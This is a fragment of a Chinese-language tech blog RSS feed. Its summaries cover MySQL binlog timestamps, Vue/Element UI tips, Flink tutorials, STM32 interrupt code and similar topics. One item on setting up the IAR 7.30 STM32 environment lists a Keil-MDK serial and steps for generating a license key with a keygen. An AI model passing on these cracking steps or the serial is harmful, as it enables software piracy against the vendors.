      <description>MySQL 8.0 的 binlog 中多了 immediate_commit_timestamp 和 original_commit_timestamp 的信息，网上也有很多文章进行解释，最近也刚好遇到相关问题，刚好稍微学习一下。&#xA;作者：高鹏（八怪），《MySQL 主从原理》作者，深入透彻理解 MySQL 主从，GTID 相关技术知识。&#xA;爱可生开源社区出品，原创内容未经授权不得随意使用，转载请联系小编并注明来源。&#xA;本文共约 1700 字，预计阅读需要 6 分钟。&#xA;相关解释 immediate_commit_timestamp：代表是当前数据库提交的时间，从库/主库都分别代表其提交的时间。original_commit_timestamp：代表主库提交的时间，不管有多少级联的从库这个时间永远是主库提交事务时候的时间。当然在主库上其就等于 immediate_commit_timestamp 的时间。 它们的生成时间都是在从 binlog cache 写入到 binlog 文件的时候，生成 GTID event 的时候，也就是 commit 的 flush 阶段，我们简称这个为 提交时间。&#xA;但是需要注意的是 MGR 中主库的 original_commit_timestamp 和 immediate_commit_timestamp 生成稍有提前（group_replication_trans_before_commit），并不是这里说的提交时间。&#xA;生成流程 2.1 关于 thd-&amp;gt;variables.original_commit_timestamp 因为 original_commit_timestamp 来自这个值，一般情况下其值都是 UNDEFINED_COMMIT_TIMESTAMP，但是从库上这个值会在应用 GTID event 的时候更改为主库带过来的 original_commit_timestamp*，因为主库 *original_commit_timestamp 就是提交时间，因此从库的 thd-&amp;gt;variables.original_commit_timestamp 也就设置为了主库的提交时间。&#xA;但是有一个例外，就是 5.7 向 8.0 同步的时候，因为没有这个值因此会被设置为 0。如下：&#xA;# original_commit_timestamp=0 (1970-01-01 08:00:00.</description>
    </item>
    <item>
      <title>vue3&#43;luckyexcel&#43;php在线编辑excel文件</title>
      <link>https://bchobby.github.io/posts/d8321e0b022a3d1b5d71c5601837dd38/</link>
      <pubDate>Wed, 27 Dec 2023 09:50:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d8321e0b022a3d1b5d71c5601837dd38/</guid>
      <description>开发过程中，需要开发一个在线编辑excel文档的功能，找到了这个合适的组件&#xA;Luckysheet ，一款纯前端类似excel的在线表格，功能强大、配置简单、完全开源。&#xA;可以导入文档，预览、编辑、保存、导出等功能，可以满足大部分需求&#xA;第一步：需要先安装 vue3 运行下面三个安装命令&#xA;npm install exceljs -S npm install luckyexcel -S&#xA;npm install file-saver&#xA;第二步：前端部分index.html 加入引用代码&#xA;&amp;lt;link rel=&#39;stylesheet&#39; href=&#39;https://bchobby.github.io/luckysheet/pluginsCss.css&#39; /&amp;gt; &amp;lt;link rel=&#39;stylesheet&#39; href=&#39;https://bchobby.github.io/luckysheet/plugins.css&#39; /&amp;gt; &amp;lt;link rel=&#39;stylesheet&#39; href=&#39;https://bchobby.github.io/luckysheet/luckysheet.css&#39; /&amp;gt; &amp;lt;link rel=&#39;stylesheet&#39; href=&#39;https://bchobby.github.io/luckysheet/iconfont.css&#39; /&amp;gt; &amp;lt;script src=&#34;https://bchobby.github.io/luckysheet/plugin.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;https://bchobby.github.io/luckysheet/luckysheet.umd.js&#34;&amp;gt;&amp;lt;/script&amp;gt; 组件部分test.vue&#xA;&amp;lt;template&amp;gt; &amp;lt;div style=&#34;position: absolute; top: 0&#34;&amp;gt; &amp;lt;input id=&#34;uploadBtn&#34; type=&#34;file&#34; @change=&#34;loadExcel&#34; /&amp;gt; &amp;lt;button class=&#34;btn&#34; @click=&#34;getExcel&#34;&amp;gt;后台数据&amp;lt;/button&amp;gt; &amp;lt;span&amp;gt;Or文件:&amp;lt;/span&amp;gt; &amp;lt;select v-model=&#34;selected&#34; @change=&#34;selectExcel&#34;&amp;gt; &amp;lt;option disabled value=&#34;&#34;&amp;gt;Choose&amp;lt;/option&amp;gt; &amp;lt;option v-for=&#34;option in options&#34; :key=&#34;option.text&#34; :value=&#34;option.value&#34;&amp;gt; {{ option.</description>
    </item>
    <item>
      <title>有量纲特征参数和无量纲特征参数是什么？</title>
      <link>https://bchobby.github.io/posts/9a494bd93557e693b3155a8a933eece9/</link>
      <pubDate>Wed, 27 Dec 2023 09:46:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a494bd93557e693b3155a8a933eece9/</guid>
      <description>有量纲特征参数和无量纲特征参数是在特征工程中常用的两种概念，它们涉及到特征的度量单位或尺度的问题。&#xA;有量纲特征参数（Dimensional Features）： 这指的是特征具有明确的度量单位或尺度。例如，身高（以厘米为单位）、体重（以千克为单位）等都是有量纲的特征。有量纲特征可能受到度量单位的影响，因此在某些机器学习算法中，它们可能对特征的权重产生影响，导致模型更关注某些度量单位较大的特征。&#xA;无量纲特征参数（Dimensionless Features）： 这指的是特征在数值上没有明确的度量单位或尺度，通常是经过一些处理使得特征的数值变得相对无单位。常见的无量纲化方法包括标准化（Standardization）和归一化（Normalization），这些方法可以确保特征在数值上具有相对的一致性，不受度量单位的干扰。&#xA;标准化（Standardization） 是通过减去均值并除以标准差的过程，将特征的分布转换为均值为0，标准差为1。这样做可以确保特征的值在一个可接受的范围内，并且不受量纲的影响。&#xA;归一化（Normalization） 是通过线性缩放将特征的值缩放到一个指定的范围，通常是[0, 1]。这有助于确保所有特征都在相似的数值范围内。&#xA;示例代码如下，使用scikit-learn库进行标准化和归一化：&#xA;from sklearn.preprocessing import StandardScaler, MinMaxScaler import numpy as np # 示例数据 data = np.array([[1.0, 2.0, 3.0], [4.0, 5.0, 6.0], [7.0, 8.0, 9.0]]) # 标准化 scaler_standard = StandardScaler() data_standardized = scaler_standard.fit_transform(data) print(&#34;Standardized Data:\n&#34;, data_standardized) # 归一化 scaler_minmax = MinMaxScaler() data_normalized = scaler_minmax.fit_transform(data) print(&#34;Normalized Data:\n&#34;, data_normalized) 在上述代码中，data_standardized 是经过标准化处理的数据，而 data_normalized 是经过归一化处理的数据。这两个数据集中的特征都是无量纲的，不受度量单位的影响。</description>
    </item>
    <item>
      <title>12月26日作业</title>
      <link>https://bchobby.github.io/posts/3b60834ec4e07035bd28062b46f6c69f/</link>
      <pubDate>Wed, 27 Dec 2023 09:45:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b60834ec4e07035bd28062b46f6c69f/</guid>
      <description>main.c&#xA;#include &#34;uart4.h&#34; #include &#34;key_int.h&#34; #include &#34;led.h&#34; void delay(int ms) { int i,j; for(i = 0;i &amp;lt; ms;i++) { for(j = 0;j &amp;lt; 2000;j++); } } int main() { //uart4_config(); all_led_init(); key1_it_config(); key2_it_config(); key3_it_config(); while(1) { puts(&#34;waiting...\r\n&#34;); delay(1000); } } key_int.c&#xA;#include &#34;key_int.h&#34; void key1_it_config() { //使能GPIOF时钟 RCC-&amp;gt;MP_AHB4ENSETR |= (0x1&amp;lt;&amp;lt;5); //设置PF9管脚为输入 GPIOF-&amp;gt;MODER &amp;amp;= (~(0x3&amp;lt;&amp;lt;18)); //设置PF9作为EXTI9事件的输入 EXTI-&amp;gt;EXTICR3 &amp;amp;= (~(0x1f&amp;lt;&amp;lt;8)); EXTI-&amp;gt;EXTICR3 |= (0x05&amp;lt;&amp;lt;8); //设置下降沿使能检测EXTI9事件 EXTI-&amp;gt;FTSR1 |= (0x1&amp;lt;&amp;lt;9); //设置EXIT9事件不屏蔽 EXTI-&amp;gt;C1IMR1 |= (0x1&amp;lt;&amp;lt;9); //GICD使能EXTI9（99号）中断 GICD-&amp;gt;ISENABLER[3] |= (0x1&amp;lt;&amp;lt;3); //GICD设置99号中断的优先级 GICD-&amp;gt;IPRIORITYR[24] &amp;amp;= (~(0x1f&amp;lt;&amp;lt;27)); //选择器CPU0处理当前中断 GICD-&amp;gt;ITARGETSR[24] |= (0x1&amp;lt;&amp;lt;24); //全局使能组0中断被转发到GICC GICD-&amp;gt;CTRL |= (0x1); //设置中断的优先级掩码 GICC-&amp;gt;PMR |= (0x1f&amp;lt;&amp;lt;3); //允许组0中断被CPU处理 GICC-&amp;gt;CTRL |= (0x1); } void key2_it_config() { //使能GPIOF时钟 //RCC-&amp;gt;MP_AHB4ENSETR |= (0x1&amp;lt;&amp;lt;5); //设置PF7管脚为输入 GPIOF-&amp;gt;MODER &amp;amp;= (~(0x3&amp;lt;&amp;lt;14)); //设置PF7作为EXTI7事件的输入 EXTI-&amp;gt;EXTICR2 &amp;amp;= (~(0x1f&amp;lt;&amp;lt;24)); EXTI-&amp;gt;EXTICR2 |= (0x05&amp;lt;&amp;lt;24); //设置下降沿使能检测EXTI7事件 EXTI-&amp;gt;FTSR1 |= (0x1&amp;lt;&amp;lt;7); //设置EXIT7事件不屏蔽 EXTI-&amp;gt;C1IMR1 |= (0x1&amp;lt;&amp;lt;7); //GICD使能EXTI7（97号）中断 GICD-&amp;gt;ISENABLER[3] |= (0x1&amp;lt;&amp;lt;1); //GICD设置97号中断的优先级 GICD-&amp;gt;IPRIORITYR[24] &amp;amp;= (~(0x1f&amp;lt;&amp;lt;11)); //选择器CPU0处理当前中断 GICD-&amp;gt;ITARGETSR[24] |= (0x1&amp;lt;&amp;lt;8); //全局使能组0中断被转发到GICC GICD-&amp;gt;CTRL |= (0x1); //设置中断的优先级掩码 GICC-&amp;gt;PMR |= (0x1f&amp;lt;&amp;lt;3); //允许组0中断被CPU处理 GICC-&amp;gt;CTRL |= (0x1); } void key3_it_config() { //使能GPIOF时钟 //RCC-&amp;gt;MP_AHB4ENSETR |= (0x1&amp;lt;&amp;lt;5); //设置PF8管脚为输入 GPIOF-&amp;gt;MODER &amp;amp;= (~(0x3&amp;lt;&amp;lt;16)); //设置PF8作为EXTI8事件的输入 EXTI-&amp;gt;EXTICR3 &amp;amp;= (~(0x1f)); EXTI-&amp;gt;EXTICR3 |= (0x05); //设置下降沿使能检测EXTI8事件 EXTI-&amp;gt;FTSR1 |= (0x1&amp;lt;&amp;lt;8); //设置EXIT8事件不屏蔽 EXTI-&amp;gt;C1IMR1 |= (0x1&amp;lt;&amp;lt;8); //GICD使能EXTI8（98号）中断 GICD-&amp;gt;ISENABLER[3] |= (0x1&amp;lt;&amp;lt;2); //GICD设置98号中断的优先级 GICD-&amp;gt;IPRIORITYR[24] &amp;amp;= (~(0x1f&amp;lt;&amp;lt;19)); //选择器CPU0处理当前中断 GICD-&amp;gt;ITARGETSR[24] |= (0x1&amp;lt;&amp;lt;16); //全局使能组0中断被转发到GICC GICD-&amp;gt;CTRL |= (0x1); //设置中断的优先级掩码 GICC-&amp;gt;PMR |= (0x1f&amp;lt;&amp;lt;3); //允许组0中断被CPU处理 GICC-&amp;gt;CTRL |= (0x1); } key_int.</description>
    </item>
    <item>
      <title>scala学习八：类和对象</title>
      <link>https://bchobby.github.io/posts/3a2cad504bf7e284ef33dfe30c4b11d8/</link>
      <pubDate>Wed, 27 Dec 2023 09:44:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a2cad504bf7e284ef33dfe30c4b11d8/</guid>
      <description>一、类和对象 类是对象的抽象，而对象是类的具体实例。&#xA;类是抽象的，不占用内存，而对象是具体的，占用存储空间。&#xA;类是用于创建对象的蓝图，它是一个定义包括在特定类型的对象中的方法和变量的软件模板。&#xA;object NewTest { def main(args: Array[String]): Unit = { val pt = new Point(10, 20) pt.move(5,5) val locat = new Location(10, 20, 30) locat.move(5,5,5) } class Point(xc: Int, yc: Int) { var x: Int = xc var y: Int = yc def move(dx: Int, dy: Int) { x = x + dx y = y + dy println(&#34;x 的坐标点: &#34; + x); println(&#34;y 的坐标点: &#34; + y); } } class Location(override val xc: Int, override val yc: Int, zc: Int) extends Point(xc, yc){ var z: Int = zc def move(dx: Int, dy: Int, dz: Int): Unit = { x = x + dx y = y + dy z = z + dz println(&#34;</description>
    </item>
    <item>
      <title>el-input类型为number时限制输入最大长度</title>
      <link>https://bchobby.github.io/posts/670ba75d21b6af63e99703e7e944e083/</link>
      <pubDate>Wed, 27 Dec 2023 09:39:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/670ba75d21b6af63e99703e7e944e083/</guid>
      <description> 在elementui里el-input类型为number时，并不能使用maxlength或者max限制长度，限制长度为7&#xA;&amp;lt;el-input type=&#34;number&#34; v-model=&#34;SYQX&#34; @input=&#34;limitPhoneNum&#34; style=&#34;width:100%&#34; placeholder=&#34;请输入&#34;&amp;gt; &amp;lt;/el-input&amp;gt; limitPhoneNum(value) { if (value.toString().length &amp;gt; 7) { this.SYQX = this.SYQX.toString().slice(0, 7) } }, </description>
    </item>
    <item>
      <title>StructuredTaskScope - JAVA 中的新并发模型</title>
      <link>https://bchobby.github.io/posts/cad2d98e286f2bf3ea6d24fb64187195/</link>
      <pubDate>Wed, 27 Dec 2023 09:38:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cad2d98e286f2bf3ea6d24fb64187195/</guid>
      <description>自从 Java 中虚拟线程出现以来，我们引入了一个新的、更好的并发模型，即 StructuredTaskScope。我们将在这个新的编程模型中看到一些常用的编程模式。&#xA;对于虚拟线程，由于它们非常轻量级，所以不需要将它们池化。此外，我们知道虚拟线程在阻塞任何操作时可以将其运行栈从底层平台线程 保存到堆上，并且在完成后可以将其运行栈固定到任何可用的平台线程。这是 Java 中的新功能，而且非常棒。&#xA;考虑以下代码片段：&#xA;public static Weather readFromServerA() throws InterruptedException { Thread.sleep(RandomUtils.nextLong(1, 100)); return new Weather(&#34;Partly Sunny&#34;, &#34;server-A&#34;); } public static Weather readFromServerB() throws InterruptedException { Thread.sleep(RandomUtils.nextLong(1, 100)); return new Weather(&#34;Partly Sunny&#34;, &#34;server-B&#34;); } public static Weather readFromServerC() throws InterruptedException { Thread.sleep(RandomUtils.nextLong(1, 100)); return new Weather(&#34;Partly Sunny&#34;, &#34;server-C&#34;); } 上面的代码返回天气信息。它模拟服务器并在 1-100 毫秒内返回信息。我们的需求是查询所有服务器并得到结果。我们只考虑第一个返回结果的请求，并立即取消其他两个请求（通过中断它们）。&#xA;让我们在 StructuredTaskScope 对象的帮助下实现这个逻辑。&#xA;public static Weather readWeather() throws ExecutionException, InterruptedException, TimeoutException { try (var scope = new StructuredTaskScope.</description>
    </item>
    <item>
      <title>Flink1.17实战教程（第七篇：Flink SQL）</title>
      <link>https://bchobby.github.io/posts/e1c2a49a6a201c2beb79d2e4979166f8/</link>
      <pubDate>Wed, 27 Dec 2023 09:38:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1c2a49a6a201c2beb79d2e4979166f8/</guid>
      <description>系列文章目录 Flink1.17实战教程（第一篇：概念、部署、架构）&#xA;Flink1.17实战教程（第二篇：DataStream API）&#xA;Flink1.17实战教程（第三篇：时间和窗口）&#xA;Flink1.17实战教程（第四篇：处理函数）&#xA;Flink1.17实战教程（第五篇：状态管理）&#xA;Flink1.17实战教程（第六篇：容错机制）&#xA;Flink1.17实战教程（第七篇：Flink SQL）&#xA;文章目录 系列文章目录1. sql-client准备1.1 基于yarn-session模式1.2 常用配置 2. 流处理中的表2.1 动态表和持续查询2.2 将流转换成动态表2.3 用SQL持续查询2.4 将动态表转换为流 3. 时间属性3.1 事件时间3.2 处理时间 4. DDL（Data Definition Language）数据定义4.1 数据库4.2 表 5. 查询5.0 DataGen &amp;amp; Print5.1 With子句5.2 SELECT &amp;amp; WHERE 子句5.3 SELECT DISTINCT 子句5.4 分组聚合5.5 分组窗口聚合5.6 窗口表值函数（TVF）聚合5.7 Over 聚合5.8 特殊语法 —— TOP-N5.9 特殊语法 —— Deduplication去重5.10 联结（Join）查询5.10.1 常规联结查询5.10.2 间隔联结查询5.10.3 维表联结查询 5.11 Order by 和 limit5.12 SQL Hints5.13 集合操作5.14 系统函数5.15 Module操作 6.</description>
    </item>
    <item>
      <title>Flink1.17实战教程（第六篇：容错机制）</title>
      <link>https://bchobby.github.io/posts/50f15676ae0498de886e15c112d26da3/</link>
      <pubDate>Wed, 27 Dec 2023 09:38:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50f15676ae0498de886e15c112d26da3/</guid>
      <description>系列文章目录 Flink1.17实战教程（第一篇：概念、部署、架构）&#xA;Flink1.17实战教程（第二篇：DataStream API）&#xA;Flink1.17实战教程（第三篇：时间和窗口）&#xA;Flink1.17实战教程（第四篇：处理函数）&#xA;Flink1.17实战教程（第五篇：状态管理）&#xA;Flink1.17实战教程（第六篇：容错机制）&#xA;Flink1.17实战教程（第七篇：Flink SQL）&#xA;文章目录 系列文章目录1. 检查点（Checkpoint）1.1 检查点的保存1.2 从检查点恢复状态1.3 检查点算法1.3.1 检查点分界线（Barrier）1.3.2 分布式快照算法（Barrier对齐的精准一次）1.3.3 分布式快照算法（Barrier对齐的至少一次）1.3.4 分布式快照算法（非Barrier对齐的精准一次） 1.4 检查点配置1.4.1 启用检查点1.4.2 检查点存储1.4.3 其它高级配置1.4.4 通用增量 checkpoint (changelog)1.4.5 最终检查点 1.5 保存点（Savepoint）1.5.1 保存点的用途1.5.2 使用保存点1.5.3 使用保存点切换状态后端 2. 状态一致性2.1 一致性的概念和级别2.2 端到端的状态一致性 3. 端到端精确一次（End-To-End Exactly-Once）3.1 输入端保证3.2 输出端保证3.3 Flink和Kafka连接时的精确一次保证 1. 检查点（Checkpoint） 在Flink中，有一套完整的容错机制来保证故障后的恢复，其中最重要的就是检查点。&#xA;1.1 检查点的保存 1）周期性的触发保存&#xA;“随时存档”确实恢复起来方便，可是需要我们不停地做存档操作。如果每处理一条数据就进行检查点的保存，当大量数据同时到来时，就会耗费很多资源来频繁做检查点，数据处理的速度就会受到影响。所以在Flink中，检查点的保存是周期性触发的，间隔时间可以进行设置。&#xA;2）保存的时间点&#xA;我们应该在所有任务（算子）都恰好处理完一个相同的输入数据的时候，将它们的状态保存下来。&#xA;这样做可以实现一个数据被所有任务（算子）完整地处理完，状态得到了保存。&#xA;如果出现故障，我们恢复到之前保存的状态，故障时正在处理的所有数据都需要重新处理；我们只需要让源（source）任务向数据源重新提交偏移量、请求重放数据就可以了。当然这需要源任务可以把偏移量作为算子状态保存下来，而且外部数据源能够重置偏移量；kafka就是满足这些要求的一个最好的例子。&#xA;3）保存的具体流程&#xA;检查点的保存，最关键的就是要等所有任务将“同一个数据”处理完毕。下面我们通过一个具体的例子，来详细描述一下检查点具体的保存过程。&#xA;回忆一下我们最初实现的统计词频的程序——word count。这里为了方便，我们直接从数据源读入已经分开的一个个单词，例如这里输入的是：&#xA;“hello”，“world”，“hello”，“flink”，“hello”，“world”，“hello”，“flink”…&#xA;我们所需要的就是每个任务都处理完“hello”之后保存自己的状态。&#xA;1.2 从检查点恢复状态 检查点的保存具体流程：&#xA;处理数据过程发生故障&#xA;重启应用 ==&amp;gt;&amp;gt; 读取检查点，重置状态&#xA;重置偏移量</description>
    </item>
    <item>
      <title>Flink1.17实战教程（第四篇：处理函数）</title>
      <link>https://bchobby.github.io/posts/1ade1ffc9151e015c51fd799874794d4/</link>
      <pubDate>Wed, 27 Dec 2023 09:37:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ade1ffc9151e015c51fd799874794d4/</guid>
      <description>系列文章目录 Flink1.17实战教程（第一篇：概念、部署、架构）&#xA;Flink1.17实战教程（第二篇：DataStream API）&#xA;Flink1.17实战教程（第三篇：时间和窗口）&#xA;Flink1.17实战教程（第四篇：处理函数）&#xA;Flink1.17实战教程（第五篇：状态管理）&#xA;Flink1.17实战教程（第六篇：容错机制）&#xA;Flink1.17实战教程（第七篇：Flink SQL）&#xA;文章目录 系列文章目录1. 基本处理函数（ProcessFunction）1.1 处理函数的功能和使用1.2 ProcessFunction解析1.3 处理函数的分类 2. 按键分区处理函数（KeyedProcessFunction）2.1 定时器（Timer）和定时服务（TimerService）2.2 KeyedProcessFunction案例 3. 窗口处理函数3.1 窗口处理函数的使用3.2 ProcessWindowFunction解析 4. 应用案例——Top N4.1 使用ProcessAllWindowFunction4.2 使用KeyedProcessFunction 5. 侧输出流（Side Output） 1. 基本处理函数（ProcessFunction） 之前所介绍的流处理API，无论是基本的转换、聚合，还是更为复杂的窗口操作，其实都是基于DataStream进行转换的，所以可以统称为DataStream API。&#xA;在Flink更底层，我们可以不定义任何具体的算子（比如map，filter，或者window），而只是提炼出一个统一的“处理”（process）操作——它是所有转换算子的一个概括性的表达，可以自定义处理逻辑，所以这一层接口就被叫作“处理函数”（process function）。&#xA;1.1 处理函数的功能和使用 我们之前学习的转换算子，一般只是针对某种具体操作来定义的，能够拿到的信息比较有限。如果我们想要访问事件的时间戳，或者当前的水位线信息，都是完全做不到的。跟时间相关的操作，目前我们只会用窗口来处理。而在很多应用需求中，要求我们对时间有更精细的控制，需要能够获取水位线，甚至要“把控时间”、定义什么时候做什么事，这就不是基本的时间窗口能够实现的了。&#xA;这时就需要使用底层的处理函数。处理函数提供了一个“定时服务”（TimerService），我们可以通过它访问流中的事件（event）、时间戳（timestamp）、水位线（watermark），甚至可以注册“定时事件”。而且处理函数继承了AbstractRichFunction抽象类，所以拥有富函数类的所有特性，同样可以访问状态（state）和其他运行时信息。此外，处理函数还可以直接将数据输出到侧输出流（side output）中。所以，处理函数是最为灵活的处理方法，可以实现各种自定义的业务逻辑。&#xA;处理函数的使用与基本的转换操作类似，只需要直接基于DataStream调用.process()方法就可以了。方法需要传入一个ProcessFunction作为参数，用来定义处理逻辑。&#xA;stream.process(new MyProcessFunction()) 这里ProcessFunction不是接口，而是一个抽象类，继承了AbstractRichFunction；MyProcessFunction是它的一个具体实现。所以所有的处理函数，都是富函数（RichFunction），富函数可以调用的东西这里同样都可以调用。&#xA;1.2 ProcessFunction解析 在源码中我们可以看到，抽象类ProcessFunction继承了AbstractRichFunction，有两个泛型类型参数：I表示Input，也就是输入的数据类型；O表示Output，也就是处理完成之后输出的数据类型。&#xA;内部单独定义了两个方法：一个是必须要实现的抽象方法.processElement()；另一个是非抽象方法.onTimer()。&#xA;public abstract class ProcessFunction&amp;lt;I, O&amp;gt; extends AbstractRichFunction { ... public abstract void processElement(I value, Context ctx, Collector&amp;lt;O&amp;gt; out) throws Exception; public void onTimer(long timestamp, OnTimerContext ctx, Collector&amp;lt;O&amp;gt; out) throws Exception {} .</description>
    </item>
    <item>
      <title>STM32 IAR7.30开发环境搭建</title>
      <link>https://bchobby.github.io/posts/e5ebe5addfbac1d597a5b3bab9bb8928/</link>
      <pubDate>Wed, 27 Dec 2023 09:36:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5ebe5addfbac1d597a5b3bab9bb8928/</guid>
      <description>本文主要内容来至于网络，感谢网络同仁的贡献。&#xA;1 Keil-MDK&#xA;工程后缀: .uvprojx&#xA;1.1 Keil-MDK Install Guide&#xA;PSN: U1E21-CM9GY-L3G4L&#xA;MDK: Microcontroller Development Kit&#xA;2 IAR Embedded WorkBench for ARM (EWARM)&#xA;工程后缀: .eww&#xA;由于ST官方的examples基于IAR编写，所以选择IAR安装。&#xA;2.1 生成序列号（IAR7.30注册机）&#xA;首先打开IAR7.30注册机文件夹里面有四个文件&#xA;按照使用方法操作就可以。&#xA;2.1.1 单击IARID.EXE得到本机的ID号&#xA;我这里的电脑硬件ID号为：0x1A556。每个电脑都不一样，所以这步必须要有。强调：千万不要直接就用该手册上的ID号。&#xA;2.1.2 用UltraEdit软件打开Key.cmd，将ID修改为本机ID&#xA;上面是直接打开Key.cmd的界面。&#xA;修改之后的界面如下。&#xA;可以看出我已经把ID从之前的“0x178D8”改为“0x1A556”了。改了之后需要保存。&#xA;2.1.3 运行KEY.cmd，在key.txt中的含有EW8051-EV的序列号就是7.30的序列号&#xA;运行KEY.cmd之后，在文件夹中会多出一个文件key.txt&#xA;那么打开key.txt&#xA;选中部分就是我们需要的东西了。&#xA;2.2 安装IAR&#xA;运行&#xA;Next&#xA;Accept&#xA;这里就要开始用到序列号了。&#xA;把上图的&#xA;改成&#xA;改了之后为&#xA;Next&#xA;可以看到LicenseKey是空的，那么把&#xA;带色部分复制过去&#xA;Next&#xA;不要使用带有中文的路径&#xA;Next&#xA;Next&#xA;Next&#xA;Next&#xA;进入安装过程，要等个几分钟&#xA;Finish。&#xA;3 DEBUG工具&#xA;3.1 JLINK&#xA;JLINK使用的SoC是AT91SAM7S64，JLINK是通用的开发工具，可以用于Keil MDK、IAR、ADS等平台，速度、效率、功能均比ULINK强。&#xA;3.2 STLINK</description>
    </item>
    <item>
      <title>el-select可输入下拉框限制长度</title>
      <link>https://bchobby.github.io/posts/967e2a4e7aa471690e8e6b00bef10b06/</link>
      <pubDate>Wed, 27 Dec 2023 09:36:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/967e2a4e7aa471690e8e6b00bef10b06/</guid>
      <description>el-select可输入或可输入创建限制长度&#xA;可创建自定义指令v-Length=“50”，限制输入最大长度为50&#xA;&amp;lt;el-select v-model=&#34;JSDW&#34; filterable clearable v-limitLength=&#34;50&#34; allow-create default-first-option style=&#34;width:100%&#34;&amp;gt; &amp;lt;el-option v-for=&#34;(item, index) in ListJSDW&#34; :key=&#34;index&#34; :label=&#34;item&#34; :value=&#34;item&#34;&amp;gt; &amp;lt;/el-option&amp;gt; &amp;lt;/el-select&amp;gt; 局部创建自定义指令&#xA;created() { }, // 控制-select输入长度 自定义指令 // 控制-select输入长度 自定义指令 directives: { limitLength: { bind: function (el, binding, vnode) { const input = el.getElementsByTagName(&#39;input&#39;)[0] if (input) { input.setAttribute(&#39;maxlength&#39;, binding.value) } } } }, mounted() { }, 全局创建自定义指令，在main.js里&#xA;Vue.directive(&#39;limitLength&#39;,{ inserted: function (el, binding, vnode) { const input = el.getElementsByTagName(&#39;input&#39;)[0] if (input) { input.</description>
    </item>
    <item>
      <title>网络PDF文件转图片并通过nginx代理预览</title>
      <link>https://bchobby.github.io/posts/7cbd56553fef6e38a9cc79fdc21c77b8/</link>
      <pubDate>Wed, 27 Dec 2023 09:35:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7cbd56553fef6e38a9cc79fdc21c77b8/</guid>
      <description>一、网络PDF转图片&#xA;/** * @param pdfOss 原文件 * @param desFilePath 生成图片的路径 * @param desFileName 生成图片的名称（多页文档时会变成：名称+下划线+从1开始的数字） * @param imageType 图片类型 * @return */ public static Pair&amp;lt;Boolean, Object&amp;gt; pdfToImage(String pdfOss, String desFilePath, String desFileName, String imageType) { File destination = new File(desFilePath); if (!destination.exists()) { destination.mkdirs(); } try { URL url = new URL(pdfOss); PDDocument document = PDDocument.load(url.openStream()); PDFRenderer pdfRenderer = new PDFRenderer(document); //获取PDF文档的页数 int pageCount = document.getNumberOfPages(); System.out.println(&#34;文档一共&#34; + pageCount + &#34;</description>
    </item>
    <item>
      <title>探索未来的方向</title>
      <link>https://bchobby.github.io/posts/900c5d9208a7426b8ffa25f20fc7f7d7/</link>
      <pubDate>Wed, 27 Dec 2023 09:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/900c5d9208a7426b8ffa25f20fc7f7d7/</guid>
      <description>运维工程师的出路到底在哪里？ 随着技术的不断发展和进步，运维行业也在不断演变。对于许多运维人员来说，他们可能会感到困惑，不知道自己的出路在哪里。本文将探讨运维人员未来的发展方向和机会。&#xA;首先，对于那些对技术有浓厚兴趣的运维人员，他们可以选择深入研究和掌握新技术。例如，云计算、容器技术、Kubernetes、DevOps 等新技术为运维人员提供了广阔的发展空间。通过学习和实践这些新技术，运维人员可以提高自己的技能和知识，并更好地应对不断变化的 IT 环境和技术。&#xA;其次，运维人员可以考虑向开发或测试方向发展。随着 DevOps 理念的普及，开发和运维之间的界限逐渐模糊。运维人员了解应用程序的部署、监控和故障排除等方面的知识，这些知识也可以应用于开发和测试领域。通过了解开发流程、测试技术和工具等方面的知识，运维人员可以更好地与开发团队合作，提高应用程序的质量和稳定性。&#xA;此外，运维人员还可以探索大数据和人工智能领域。随着大数据和人工智能技术的快速发展，这些领域需要大量的运维人员来支持数据的存储、处理和管理。通过学习和实践这些新技术，运维人员可以扩展自己的技能范围，并寻找新的职业机会。&#xA;最后，运维人员可以考虑向管理岗位发展。随着经验的积累和技能的提升，运维人员可以逐渐转向管理岗位，成为项目经理或团队负责人等。在这个过程中，运维人员需要学习如何管理团队、协调项目和制定计划等方面的知识。&#xA;总之，运维的出路在于不断学习和探索新的技术和理念。通过提升自己的技能和知识，运维人员可以应对不断变化的 IT 环境和社会需求，并找到适合自己的职业发展方向。无论选择哪个方向，重要的是保持学习的态度和对技术的热情，不断追求进步和发展。</description>
    </item>
    <item>
      <title>PYTHON基础：数据可视化绘图</title>
      <link>https://bchobby.github.io/posts/bbe3a89c07bc0b0d2cbdefe53c4a4dd5/</link>
      <pubDate>Wed, 27 Dec 2023 09:29:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bbe3a89c07bc0b0d2cbdefe53c4a4dd5/</guid>
